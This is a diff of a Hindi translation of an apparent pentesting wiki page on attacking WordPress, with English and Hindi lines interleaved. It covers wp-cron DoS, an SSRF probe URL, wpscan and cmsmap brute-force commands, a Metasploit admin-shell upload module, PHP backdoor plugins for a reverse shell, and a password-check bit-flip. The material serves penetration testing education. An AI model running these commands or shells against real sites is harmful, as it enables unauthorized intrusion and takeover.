рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИред +рдпрджрд┐ рдЖрдкрдХреЛ **faultCode** рдХрд╛ рдорд╛рди **0** (17) рд╕реЗ **рдмрдбрд╝рд╛** рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИред -рдкрд┐рдЫрд▓реЗ рд╕реЗрдХреНрд╢рди рдореЗрдВ **`system.multicall`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рджреЗрдЦрд┐рдП рддрд╛рдХрд┐ рдпрд╣ рд╕реАрдЦрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ DDoS рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ **`system.multicall`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдпрд╣ рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╕реЗ DDoS рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **DDoS** ```html @@ -209,15 +209,15 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ### wp-cron.php DoS -This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\ -рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **accessed** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдПрдХ "**heavy**" MySQL **query** perform рдХреА рдЬрд╛рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **attackers** рджреНрд╡рд╛рд░рд╛ **cause** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **DoS** рдХреЗ рд▓рд┐рдпреЗред\ -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, `wp-cron.php` рд╣рд░ рдкреЗрдЬ рд▓реЛрдб рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рднреА рдХреЛрдИ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛрдИ рднреА Wordpress рдкреЗрдЬ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ), рдЬреЛ рд╣рд╛рдИ-рдЯреНрд░реИрдлрд╝рд┐рдХ рд╕рд╛рдЗрдЯреНрд╕ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ (DoS) рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдЖрдорддреМрд░ рдкрд░ Wordpress рд╕рд╛рдЗрдЯ рдХреА рд░реВрдЯ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИ: **`/wp-cron.php`**\ +рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **accessed** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдПрдХ "**heavy**" MySQL **query** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **attackers** рджреНрд╡рд╛рд░рд╛ **cause** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **DoS**.\ +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, `wp-cron.php` рдХреЛ рд╣рд░ рдкреЗрдЬ рд▓реЛрдб рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рднреА рдХреЛрдИ client рдХрд┐рд╕реА рднреА Wordpress рдкреЗрдЬ рдХреЛ requests рдХрд░рддрд╛ рд╣реИ), рдЬреЛ high-traffic рд╕рд╛рдЗрдЯреНрд╕ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ (DoS) рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ Wp-Cron рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ рдФрд░ host рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ cronjob рдмрдирд╛рдПрдВ рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдХреНрд░рд┐рдпрд╛рдПрдБ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдХрд░реЗ (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рдХрд┐рдП)ред +рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ Wp-Cron рдХреЛ disable рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ host рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ cronjob рдмрдирд╛рдпрд╛ рдЬрд╛рдП рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдХреНрд░рд┐рдпрд╛рдПрдБ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдХрд░реЗ (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд┐рдП). ### /wp-json/oembed/1.0/proxy - SSRF -рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ рдХреЛ access рдХрд░рдиреЗ рдХреА рдФрд░ Wordpress рд╕рд╛рдЗрдЯ рд╕рдВрднрд╡рддрдГ рдЖрдк рдкрд░ рдПрдХ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдХрд░ рд╕рдХрддреА рд╣реИред +рдЗрд╕ URL рдХреЛ access рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ рдФрд░ Worpress рд╕рд╛рдЗрдЯ рдЖрдкрдХреЗ рдкрд╛рд╕ request рдХрд░ рд╕рдХрддреА рд╣реИред This is the response when it doesn't work: @@ -230,130 +230,158 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -рдпрд╣ рдЯреВрд▓ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ **methodName: pingback.ping** рдФрд░ path **/wp-json/oembed/1.0/proxy** рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдФрд░ рдпрджрд┐ рдореМрдЬреВрдж рд╣реИ рддреЛ рдпрд╣ рдЗрдиреНрд╣реЗрдВ exploit рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред +рдпрд╣ tool рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ **methodName: pingback.ping** рдФрд░ path **/wp-json/oembed/1.0/proxy** рдореМрдЬреВрдж рд╣реИ рдФрд░ рдпрджрд┐ рдореМрдЬреВрдж рд╣реЛ рддреЛ рдпрд╣ рдЙрдиреНрд╣реЗрдВ exploit рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред -## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЯреВрд▓реНрд╕ +## рдСрдЯреЛрдореИрдЯреЗрдб рдЯреВрд▓реНрд╕ ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## рдПрдХ рдмрд┐рдЯ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +## рдПрдХ bit рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ -рдЕрд╕рд▓ рд╣рдорд▓реЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдпрд╣ рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА wordpress рдлрд╝рд╛рдЗрд▓ рдХрд╛ 1 рдмрд┐рдЯ flip рдХрд░ рд╕рдХрддреЗ рдереЗред рдЗрд╕рд▓рд┐рдП рдЖрдк рдлрд╝рд╛рдЗрд▓ `/var/www/html/wp-includes/user.php` рдХреЗ рдкреЛрдЬрд┐рд╢рди `5389` рдХреЗ рдмрд┐рдЯ рдХреЛ flip рдХрд░рдХреЗ NOT (`!`) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд░ рд╕рдХрддреЗ рдереЗред +рдпрд╣ рдЕрд╕рд▓ рд╣рдорд▓реЗ рд╕реЗ рдЬреНрдпрд╛рджрд╛ рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА wordpress рдлрд╝рд╛рдЗрд▓ рдХрд╛ 1 bit рдкрд▓рдЯ рд╕рдХрддреЗ рдереЗред рддреЛ рдЖрдк рдлрд╛рдЗрд▓ `/var/www/html/wp-includes/user.php` рдХреА рд╕реНрдерд┐рддрд┐ `5389` рдХрд╛ bit рдкрд▓рдЯрдХрд░ NOT (`!`) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд░ рд╕рдХрддреЗ рдереЗред ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **рдкреИрдирд▓ RCE** -**рдереАрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП php рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ (admin credentials рдЖрд╡рд╢реНрдпрдХ)** +**рдереАрдо рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдП рдЧрдП php рдореЗрдВ рд╕рдВрд╢реЛрдзрди (admin credentials needed)** -Appearance тЖТ Theme Editor тЖТ 404 Template (рджрд╛рдИрдВ рддрд░рдлрд╝) +Appearance тЖТ Theme Editor тЖТ 404 Template (рджрд╛рдПрдБ рддрд░рдл) -php рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рдХрдВрдЯреЗрдВрдЯ рдмрджрд▓реЗрдВ: +php shell рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдмрджрд▓реЗрдВ: ![](<../../images/image (384).png>) -рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯ рдХреА рдЧрдИ рдкреЗрдЬ рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдпрд╣рд╛рдБ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП рдкреЗрдЬ рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдпрд╣рд╛рдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -рдЖрдк рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -to get a session. +рд╕реЗрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред ## Plugin RCE ### PHP plugin -рдпрд╣ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ .php рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдХ plugin рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред\ -рдЕрдкрдиреЗ php backdoor рдХреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдмрдирд╛рдПрдВ: +It may be possible to upload .php files as a plugin.\ +.php рдлрд╛рдЗрд▓реЛрдВ рдХреЛ plugin рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ +Create your php backdoor using for example: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ php backdoor рдмрдирд╛рдПрдВ: ![](<../../images/image (183).png>) +Then add a new plugin: рдлрд┐рд░ рдПрдХ рдирдпрд╛ plugin рдЬреЛрдбрд╝реЗрдВ: ![](<../../images/image (722).png>) Upload plugin and press Install Now: +Plugin рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ Install Now рджрдмрд╛рдПрдБ: ![](<../../images/image (249).png>) +Click on Procced: Procced рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ: ![](<../../images/image (70).png>) -рд╢рд╛рдпрдж рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреБрдЫ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк Media рдкрд░ рдЬрд╛рдПрдВ, рддреЛ рдЖрдк рдЕрдкрдирд╛ shell рдЕрдкрд▓реЛрдб рд╣реБрдЖ рджреЗрдЦреЗрдВрдЧреЗ: +Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: +рд╕рдВрднрд╡рддрдГ рдЗрд╕рд╕реЗ рдХреБрдЫ рднреА рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк Media рдореЗрдВ рдЬрд╛рдПрдБрдЧреЗ, рддреЛ рдЖрдкрдХреЛ рдЖрдкрдХрд╛ shell рдЕрдкрд▓реЛрдб рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛: ![](<../../images/image (462).png>) -рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ рдФрд░ рдЖрдк reverse shell рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП URL рджреЗрдЦреЗрдВрдЧреЗ: +Access it and you will see the URL to execute the reverse shell: +рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ рдФрд░ рдЖрдкрдХреЛ reverse shell рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП URL рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin +### Malicious plugin рдХреЛ рдЕрдкрд▓реЛрдб рдФрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ -рдпрд╣ рддрд░реАрдХрд╛ рдПрдХ vulnerable рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ malicious plugin рдХреА installation рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рдФрд░ рдЗрд╕реЗ exploit рдХрд░рдХреЗ web shell рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WordPress dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ: +This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: +рдпрд╣ рд╡рд┐рдзрд┐ рдПрдХ рдРрд╕реА malicious plugin рдХреА installation рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИ рдЬреЛ рдЬреНрдЮрд╛рдд рд░реВрдк рд╕реЗ vulnerable рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рдпреЛрдЧ web shell рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WordPress dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рдореНрди рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ: -1. **Plugin Acquisition**: Plugin рдХреЛ Exploit DB рдЬреИрд╕реЗ рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: plugin рдХреЛ Exploit DB рдЬреИрд╕реЗ рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- WordPress dashboard рдкрд░ рдЬрд╛рдПрдВ, рдлрд┐рд░ `Dashboard > Plugins > Upload Plugin` рдкрд░ рдЬрд╛рдПрдВред -- рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ plugin рдХреА zip рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред -3. **Plugin Activation**: рдПрдХ рдмрд╛рд░ plugin рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдЗрд╕реЗ dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ activate рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред +- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. +- Upload the zip file of the downloaded plugin. +2. **Plugin Installation**: +- WordPress dashboard рдкрд░ рдЬрд╛рдПрдБ, рдлрд┐рд░ `Dashboard > Plugins > Upload Plugin` рдкрд░ рдЬрд╛рдПрдБред +- рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП plugin рдХрд╛ zip рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред +3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard. +3. **Plugin Activation**: рдПрдХ рдмрд╛рд░ plugin рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ install рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдЗрд╕реЗ dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ activate рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред 4. **Exploitation**: -- рдЬрдм plugin "reflex-gallery" рдЗрдВрд╕реНрдЯреЙрд▓ рдФрд░ activated рд╣реЛ, рддреЛ рдЗрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ vulnerable рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред -- Metasploit framework рдЗрд╕ vulnerability рдХреЗ рд▓рд┐рдП рдПрдХ exploit рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд module рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ specific commands execute рдХрд░рдХреЗ, рдПрдХ meterpreter session рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ site рддрдХ unauthorized access рджреЗрддрд╛ рд╣реИред -- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ WordPress рд╕рд╛рдЗрдЯ рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рд╕рд┐рд░реНрдл рдПрдХ рд╣реИред +- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. +- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. +- It's noted that this is just one of the many methods to exploit a WordPress site. +4. **Exploitation**: +- "reflex-gallery" plugin install рдФрд░ activate рд╣реЛрдиреЗ рдкрд░ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЬреНрдЮрд╛рдд рд░реВрдк рд╕реЗ vulnerable рд╣реИред +- Metasploit framework рдЗрд╕ vulnerability рдХреЗ рд▓рд┐рдП рдПрдХ exploit рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд module рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ specific commands execute рдХрд░рдХреЗ, рдПрдХ meterpreter session рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рд╛рдЗрдЯ рддрдХ unauthorized access рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ WordPress рд╕рд╛рдЗрдЯ рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ рдПрдХ рд╣реИред -рдпрд╣ рд╕рд╛рдордЧреНрд░реА WordPress dashboard рдореЗрдВ plugin рдЗрдВрд╕реНрдЯреЙрд▓ рдФрд░ activate рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХрд╛ рджреГрд╢реНрдп рдкреНрд░рджрд░реНрд╢рди рдХрд░рддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рдЗрд╕ рддрд░рд╣ kwetsbaarрддрд╛рдПрдБ exploit рдХрд░рдирд╛ рдЧреИрд░рдХрд╛рдиреВрдиреА рдФрд░ рдЕрдиреИрддрд┐рдХ рд╣реИред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рд╕рдВрджрд░реНрдн рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ explicit permission рдХреЗ рд╕рд╛рде penetration testingред +The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission. +рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдореЗрдВ plugin рдХреЛ install рдФрд░ activate рдХрд░рдиреЗ рдХреЗ WordPress dashboard рдХреЗ рдЪрд░рдгреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рдиреЗ рд╡рд╛рд▓реЗ рджреГрд╢реНрдп рд╕рд╛рдзрди рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд authorization рдХреЗ vulnerabilities рдХреЛ рдЗрд╕ рддрд░рд╣ exploit рдХрд░рдирд╛ illegal рдФрд░ unethical рд╣реИред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рд╕рдВрджрд░реНрдн рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ penetration testing рдХреЗ рджреМрд░рд╛рди рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рдеред **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE +## XSS рд╕реЗ RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ рдПрдХ script рд╣реИ рдЬрд┐рд╕реЗ WordPress рдореЗрдВ Cross-Site Scripting (XSS) vulnerability рдХреЛ Remote Code Execution (RCE) рдпрд╛ рдЕрдиреНрдп critical vulnerabilities рдореЗрдВ escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) рджреЗрдЦреЗрдВред рдпрд╣ **Wordpress Versions 6.X.X, 5.X.X рдФрд░ 4.X.X** рдХрд╛ рд╕рдорд░реНрдерди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress 